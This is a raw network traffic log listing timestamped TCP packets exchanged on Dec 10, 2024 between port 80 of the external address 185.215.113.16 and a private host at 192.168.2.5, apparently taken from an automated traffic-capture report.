Dec 10, 2024 05:47:27.208233118 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.208304882 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.208389997 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.209034920 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.209152937 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.209280014 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.209870100 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.209947109 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.210129976 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.210818052 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.210875988 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.211205006 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.211600065 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.211663961 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.212393999 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.212507010 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.212529898 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.212593079 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.213232040 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.213305950 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.213422060 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.214073896 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.214174986 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.214901924 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.214943886 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.215017080 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.215739965 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.215766907 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.215838909 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.216573000 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.216598988 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.216737986 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.217200041 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.217461109 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.217534065 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.218138933 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.218296051 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.218383074 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.218451977 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.219089985 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.219198942 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.219238997 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.220000029 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.220089912 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.220356941 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.220812082 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.220911026 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.221616983 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.221716881 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.221771955 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.221858025 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.222461939 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.222652912 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.222748041 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.223300934 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.223412991 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.224145889 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.224172115 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.224266052 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.224996090 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.225016117 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.225081921 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.225790977 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.225821018 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.225894928 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.226042986 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.226644039 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.226764917 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.227076054 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.227477074 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.227612972 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.227803946 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.228322983 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.228409052 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.228573084 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.229207993 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.229268074 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.229365110 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.229984045 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.230087996 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.230823040 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.230932951 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.230962038 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.231271029 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.231663942 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.231770039 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.232486010 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.232614040 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.232645035 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.232764006 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.233392954 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.233498096 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.234116077 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.234165907 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.234273911 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.234997988 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.235117912 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.235141993 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.235846996 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.235953093 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.235980988 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.236674070 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.238045931 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.385018110 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.385191917 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.385380030 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.385399103 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.385487080 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.385487080 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.386194944 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.386240959 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.386743069 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.387084007 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.387183905 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.387878895 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.387984037 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.388031006 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.388075113 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.388720989 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.388840914 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.389560938 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.389678001 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.389705896 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.390150070 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.390388012 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.390486956 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.391231060 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.391345024 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.391347885 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.391614914 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.392085075 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.392230988 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.392672062 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.392919064 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.393027067 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.393084049 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.393740892 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.393846989 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.394694090 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.394726992 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.394808054 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.395462036 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.395484924 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.395555973 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.396251917 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.396276951 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.396365881 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.397109985 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.397138119 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.397221088 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.397975922 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.398003101 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.398035049 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.398772001 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.398817062 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.398860931 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.399616957 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.399643898 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.399708986 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.400499105 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.400526047 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.400587082 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.401294947 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.401320934 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.401384115 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.402049065 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.402133942 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.402216911 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.402682066 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.403076887 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.403096914 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.403209925 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.403840065 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.403913021 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.404661894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.404736996 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.405507088 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.405544043 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.405564070 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.405894041 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.406336069 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.406399965 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.406599045 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.407229900 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.407329082 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.407371044 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.408376932 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.408389091 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.408444881 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.408965111 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.408977985 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.409007072 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.409868002 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.409878969 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.409939051 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.410520077 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.410687923 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.410722971 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.411339045 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.411458969 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.411490917 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.412164927 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.412276983 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.412314892 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.413008928 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.413108110 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.413145065 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.413866043 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.413959026 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.413992882 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.414685011 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.414864063 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.414910078 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.415524006 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.415635109 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.415677071 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.416354895 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.416482925 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.416526079 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.417184114 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.417300940 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.417346954 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.418112993 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.418275118 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.418314934 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.418873072 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.419050932 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.419089079 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.419711113 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.419817924 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.419874907 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.420545101 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.420672894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.420711994 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.421391964 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.421499968 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.421545029 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.422224998 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.422354937 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.422391891 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.423063993 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.423171997 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.423223019 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.423896074 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.424092054 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.424139023 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.424740076 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.424911976 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.424952984 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.425570965 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.425692081 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.425733089 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.426417112 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.426548958 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.426597118 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.427244902 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.427365065 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.427403927 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.428096056 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.428240061 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.428292036 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.428874016 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.470237970 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.579360962 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.579374075 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.579385996 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.579457045 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.579917908 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.579929113 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.579941034 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.579976082 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.579998970 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.580466032 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.580604076 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.580641985 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.581140995 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.581408024 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.581449986 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.581878901 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.582654953 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.582705021 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.583070993 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.584261894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.584273100 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.584285021 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.584296942 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.584316015 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.584343910 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.584813118 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.584825039 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.584865093 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.585643053 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.585654020 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.585705996 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.586312056 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.586357117 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.586456060 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.587235928 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.587246895 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.587256908 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.587285042 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.587306023 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.587316036 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.588044882 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.588109970 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.588160038 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.588867903 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.588916063 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.588922977 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.589747906 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.589801073 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.589855909 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.590568066 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.590609074 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.590662956 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.591423035 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.591465950 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.591515064 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.592257977 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.592298985 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.592299938 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.593074083 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.593123913 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.593185902 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.593909979 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.593955994 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.593959093 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.594748974 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.594793081 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.594855070 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.595596075 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.595649958 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.595786095 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.596421003 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.596461058 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.596529007 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.597266912 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.597316027 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:27.597385883 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:27.598134995 CET	80	49723	185.215.113.16	192.168.2.5
